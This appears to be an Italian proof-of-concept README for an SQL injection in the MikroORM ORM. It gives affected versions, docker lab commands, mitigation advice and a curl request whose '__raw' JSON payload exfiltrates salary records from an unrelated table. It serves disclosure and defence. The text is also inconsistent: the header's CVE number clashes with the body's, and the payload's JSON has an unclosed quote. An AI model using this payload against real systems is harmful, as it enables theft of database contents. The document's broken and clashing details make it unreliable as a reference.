
CVE-2026-34220 — Updated!
Vulnerabilità di SQL Injection in MikroORM
CVE-2026-43220 MikroORM SQL Injection
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
Panoramica
CVE-2026-43220 è una vulnerabilità di SQL Injection in MikroORM, un framework ORM ampiamente utilizzato per TypeScript/Node.js.
Quando un valore fornito dall'utente contenente una proprietà__rawviene passato a una colonna di tipo Custom senza validazione, il controlloisRaw()di MikroORM lo identifica come un'espressione Raw SQL interna attendibile e inserisce il valoresqlcontrollato dall'attaccante direttamente nella query generata senza conversione di tipo o sanificazione, causando l'esecuzione non intenzionale di SQL arbitrario.
Versioni interessate
| Categoria | Versione |
|---|---|
| Vulnerabile | MikroORM versione ≤ 6.4.3 & 7.0.0 ≤ versione ≤ 7.0.5 |
| Corretta | MikroORM 6.4.4 & 7.0.6 |
Impatto
- Esfiltrazione non autorizzata di dati sensibili dal database
- Corruzione o modifica non intenzionale dei record esistenti nel database
Ambiente
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.
Passaggio 1. Invia una richiesta con un payload malevolo contenente __raw
Invia un body JSON che includa una proprietà __raw indirizzata a una colonna di tipo Custom.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Passaggio 2. Controlla la risposta HTTP
Verifica che l'API restituisca una risposta di successo senza alcun errore, indicando che MikroORM ha accettato il payload malevolo come valore valido.
Passaggio 3. Conferma che i dati sensibili sono esfiltrati nel contenuto del post
Verifica che il campo content del post creato contenga il risultato della query
dalla tabella salaries (ad esempio, Alice: 5000 / Bob: 7000 / ...),
confermando che i dati di una tabella non correlata sono stati silenziosamente incorporati
nella risposta senza alcun errore o violazione del controllo degli accessi.
Mitigazione
- Aggiorna a MikroORM 6.4.4 o versione successiva, che introduce la verifica dell'origine in
isRaw()per rifiutare le proprietà__rawfornite dall'esterno - Applica una validazione dell'input basata su whitelist per rifiutare proprietà inattese come
__rawprima di passare i valori al livello ORM